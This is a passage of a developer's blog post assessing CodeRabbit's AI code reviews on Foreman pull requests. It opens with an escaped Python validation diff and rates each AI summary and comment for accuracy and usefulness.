&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;invalid_list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;ansible_collection_requirements&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foreman_params&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;invalid_list&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fail_json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"({0}) can only be used with content_type 'ansible_collection'"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;","&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;invalid_list&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Validate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ansible_collection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;specific&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;parameters&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foreman_params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;content_type&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;ansible_collection&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;invalid_list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;ansible_collection_auth_token&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;ansible_collection_auth_url&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foreman_params&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;invalid_list&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fail_json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"({0}) can only be used with content_type 'ansible_collection'"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;","&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;invalid_list&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Validate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ostree&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;specific&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;parameters&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foreman_params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;content_type&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;ostree&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;invalid_list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;depth&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;exclude_refs&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;include_refs&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foreman_params&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;invalid_list&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fail_json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"({0}) can only be used with content_type 'ostree'"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;","&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;invalid_list&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Validate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;specific&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;parameters&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foreman_params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;content_type&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;python&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;invalid_list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;excludes&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;includes&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;package_types&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;keep_latest_packages&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foreman_params&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;invalid_list&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fail_json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"({0}) can only be used with content_type 'python'"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;","&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;invalid_list&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Validate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;yum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;specific&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;parameter&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foreman_params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;content_type&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;yum&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;upstream_authentication_token&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foreman_params&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fail_json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"upstream_authentication_token can only be used with content_type 'yum'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Interestingly, it also said "Note: If 'python' is not a valid content_type, please adjust the validation accordingly." which is quite a hint at a bug in itself.
The module currently does not even allow to create &lt;code&gt;content_type=python&lt;/code&gt; repositories.
That should have been more prominent, as it's a &lt;strong&gt;BUG&lt;/strong&gt;!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Valid complaint? Yes.&lt;/li&gt;
&lt;li&gt;Useful suggestion? Mostly (I only had to merge the Yum and Ansible branches with the existing code).&lt;/li&gt;
&lt;li&gt;Wasted time? Nope.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;parameter persistence in obsah&lt;/h2&gt;
&lt;p&gt;PR: &lt;a href="https://github.com/theforeman/obsah/pull/72"&gt;theforeman/obsah#72&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;summary posted&lt;/h3&gt;
&lt;p&gt;Mostly correct.&lt;/p&gt;
&lt;p&gt;It did miss-interpret the change to a test playbook as an actual "behavior" change:
"Introduced new playbook variables for database configuration" — there is no database configuration in this repository, just the test playbook using the same metadata as a consumer of the library.
Later on it does say "Playbook metadata and test fixtures", so… unclear whether this is a miss-interpretation or just badly summarized.
As long as you also look at the diff, it won't confuse you, but if you're using the summary as the sole source of information (bad!) it would.&lt;/p&gt;
&lt;p&gt;This time the sequence diagram is actually useful, yay.
Again, not 100% accurate: it's missing the fact that saving the parameters is hidden behind an "if enabled" flag — something it did represent correctly for loading them.&lt;/p&gt;
&lt;p&gt;Overall verdict: not really useful, don't need this.&lt;/p&gt;
&lt;h3&gt;comments posted&lt;/h3&gt;
&lt;p&gt;Here I was a bit surprised, especially as the nitpicks were useful!&lt;/p&gt;
&lt;h4&gt;Persist-path should respect per-user state locations (nitpick)&lt;/h4&gt;
&lt;p&gt;My original code used &lt;code&gt;os.environ.get('OBSAH_PERSIST_PATH', '/var/lib/obsah/parameters.yaml')&lt;/code&gt; for the location of the persistence file.
CodeRabbit correctly pointed out that this won't work for non-root users and one should respect &lt;code&gt;XDG_STATE_HOME&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Ewoud did point that out in his own review, so I am not sure whether CodeRabbit came up with this on its own, or also took the human comments into account.&lt;/p&gt;
&lt;p&gt;The suggested code seems fine too — just doesn't use &lt;code&gt;/var/lib/obsah&lt;/code&gt; at all anymore.
This might be a good idea for the generic library we're working on here, and then be overridden to a static &lt;code&gt;/var/lib&lt;/code&gt; path in a consumer (which always runs as root).&lt;/p&gt;
&lt;p&gt;In the end I did not implement it, but mostly because I was lazy and was sure we'd override it anyway.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Valid complaint? Yes.&lt;/li&gt;
&lt;li&gt;Useful suggestion? Yes.&lt;/li&gt;
&lt;li&gt;Wasted time? Nope.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Positional parameters are silently excluded from persistence (nitpick)&lt;/h4&gt;
&lt;p&gt;The library allows you to generate both positional (&lt;code&gt;foo&lt;/code&gt; without &lt;code&gt;--&lt;/code&gt;) and non-positional (&lt;code&gt;--foo&lt;/code&gt;) parameters, but the code I wrote would only ever persist non-positional parameters.
This was intentional, but there is no documentation of the intent in a comment — which the rabbit thought would be worth pointing out.&lt;/p&gt;
&lt;p&gt;It's a fair nitpick and I ended up adding a comment.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Valid complaint? Yes.&lt;/li&gt;
&lt;li&gt;Useful suggestion? Yes.&lt;/li&gt;
&lt;li&gt;Wasted time? Nope.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Enforce FQDN validation for &lt;code&gt;database_host&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;The library has a way to perform type checking on passed parameters, and one of the supported types is "FQDN" — so a fully qualified domain name, with dots and stuff.
The test playbook I added has a &lt;code&gt;database_host&lt;/code&gt; variable, but I didn't bother adding a type to it, as I don't really need any type checking here.&lt;/p&gt;
&lt;p&gt;While using "FQDN" might be a bit too strict here — technically a working database connection can also use a non-qualified name or an IP address, I was positively surprised by this suggestion.
It shows that the rest of the repository was taken into context when preparing the suggestion.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Valid complaint? In the context of a test, no. Would that be a real command definition, yes.&lt;/li&gt;
&lt;li&gt;Useful suggestion? Yes.&lt;/li&gt;
&lt;li&gt;Wasted time? Nope.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;code&gt;reset_args()&lt;/code&gt; can raise &lt;code&gt;AttributeError&lt;/code&gt; when a key is absent&lt;/h4&gt;
&lt;p&gt;This is a correct finding, the code is not written in a way that would survive if it tries to reset things that are not set.
However, that's only true for the case where users pass in &lt;code&gt;--reset-&amp;lt;parameter&amp;gt;&lt;/code&gt; without ever having set &lt;code&gt;parameter&lt;/code&gt; before.
The complaint about the part where the parameter is part of the persisted set but not in the parsed args is wrong — as parsed args inherit from the persisted set.&lt;/p&gt;
&lt;p&gt;The suggested code is not well readable, so I ended up fixing it slightly differently.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Valid complaint? Mostly.&lt;/li&gt;
&lt;li&gt;Useful suggestion? Meh.&lt;/li&gt;
&lt;li&gt;Wasted time? A bit.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Persisted values bypass &lt;code&gt;argparse&lt;/code&gt; type validation&lt;/h4&gt;
&lt;p&gt;When persisting, I just &lt;code&gt;yaml.safe_dump&lt;/code&gt; the parsed parameters, which means the YAML will contain native types like integers.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;argparse&lt;/code&gt; documentation warns that the type checking &lt;code&gt;argparse&lt;/code&gt; does only applies to strings and is skipped if you pass anything else (via default values).&lt;/p&gt;
&lt;p&gt;While correct, it doesn't really hurt here as the persisting only happens after the values were type-checked.
So there is not really a reason to type-check them again.
Well, unless the type changes, anyway.&lt;/p&gt;
&lt;p&gt;Not sure what I'll do with this comment.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Valid complaint? Nah.&lt;/li&gt;
&lt;li&gt;Useful suggestion? Nope.&lt;/li&gt;
&lt;li&gt;Wasted time? Not much.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;consider using &lt;code&gt;contextlib.suppress&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;This was added when I asked CodeRabbit for a re-review after pushing some changes.
Interestingly, the PR already contained &lt;code&gt;try: … except: pass&lt;/code&gt; code before, and it did not flag that.&lt;/p&gt;
&lt;p&gt;Also, the code suggestion contained &lt;code&gt;import contextlib&lt;/code&gt; in the middle of the code, instead in the head of the file.
Who would do that?!&lt;/p&gt;
&lt;p&gt;But the comment as such was valid, so I fixed it in all places it is applicable, not only the one the rabbit found.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Valid complaint? Yes.&lt;/li&gt;
&lt;li&gt;Useful suggestion? Nope.&lt;/li&gt;
&lt;li&gt;Wasted time? Nope.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;workaround to ensure LCE and CV are always sent together&lt;/h2&gt;
&lt;p&gt;PR: &lt;a href="https://github.com/theforeman/foreman-ansible-modules/pull/1867"&gt;theforeman/foreman-ansible-modules#1867&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;summary posted&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;A workaround was added to the _update_entity method in the ForemanAnsibleModule class to ensure that when updating a host, both content_view_id and lifecycle_environment_id are always included together in the update payload. This prevents partial updates that could cause inconsistencies.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Partial updates are not a thing.&lt;/p&gt;
&lt;p&gt;The workaround is purely for the fact that Katello expects both parameters to be sent,
even if only one of them needs an actual update.&lt;/p&gt;
&lt;p&gt;No diagram, good.&lt;/p&gt;
&lt;p&gt;Overall verdict: misleading summaries are bad!&lt;/p&gt;
&lt;h3&gt;comments posted&lt;/h3&gt;
&lt;p&gt;Given a small patch, there was only one comment.&lt;/p&gt;
&lt;h4&gt;Implementation looks correct, but consider adding error handling for robustness.&lt;/h4&gt;
&lt;p&gt;This reads correct on the first glance.
More error handling is always better, right?&lt;/p&gt;
&lt;p&gt;But if you dig into the argumentation, you see it's wrong.
Either:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;we're working with a Katello setup and the host we're updating has content, so CV and LCE will be present&lt;/li&gt;
&lt;li&gt;we're working with a Katello setup and the host has no content (yet), so CV and LCE will be "updated" and we're not running into the workaround&lt;/li&gt;
&lt;li&gt;we're working with a plain Foreman, then both parameters are not even accepted by Ansible&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The AI accepted defeat once I asked it to analyze things in more detail, but why did I have to ask in the first place?!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Valid complaint? Nope.&lt;/li&gt;
&lt;li&gt;Useful suggestion? Nope.&lt;/li&gt;
&lt;li&gt;Wasted time? Yes, as I've actually tried to come up with a case where it can happen.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;Well, idk, really.&lt;/p&gt;
&lt;h3&gt;Did the AI find things that humans did not find (or didn't bother to mention)?&lt;/h3&gt;
&lt;p&gt;Yes. It's debatable whether these were useful (see e.g. the &lt;code&gt;database_host&lt;/code&gt; example), but I tend to be in the "better to nitpick/suggest more and dismiss than oversee" team, so IMHO a positive win.&lt;/p&gt;
&lt;h3&gt;Did the AI output help the humans with the review (useful summary etc)?&lt;/h3&gt;
&lt;p&gt;In my opinion it did not.
The summaries were either "lots of words, no real value" or plain wrong.
The sequence diagrams were not useful either.&lt;/p&gt;
&lt;p&gt;Luckily all of that can be turned off in the settings, which is what I'd do if I'd continue using it.&lt;/p&gt;
&lt;h3&gt;Did the AI output help the humans with the code (useful suggestions etc)?&lt;/h3&gt;
&lt;p&gt;While the actual patches it posted were "meh" at best, there were useful findings that resulted in improvements to the code.&lt;/p&gt;
&lt;h3&gt;Was the AI output misleading?&lt;/h3&gt;
&lt;p&gt;Absolutely! The whole Jinja discussion would have been easier without the AI "help".
Same applies for the "error handling" in the workaround PR.&lt;/p&gt;
&lt;h3&gt;Was the AI output distracting?&lt;/h3&gt;
&lt;p&gt;The output is certainly a lot, so yes I think it can be distracting.
As mentioned, I think dropping the summaries can make the experience less distracting.&lt;/p&gt;
&lt;h3&gt;What does all that mean?&lt;/h3&gt;
&lt;p&gt;I will disable the summaries for the repositories, but will leave the &lt;code&gt;@coderabbitai review&lt;/code&gt; trigger active if someone wants an AI-assisted review.
This won't be something that I'll force on our contributors and maintainers, but they surely can use it if they want.&lt;/p&gt;
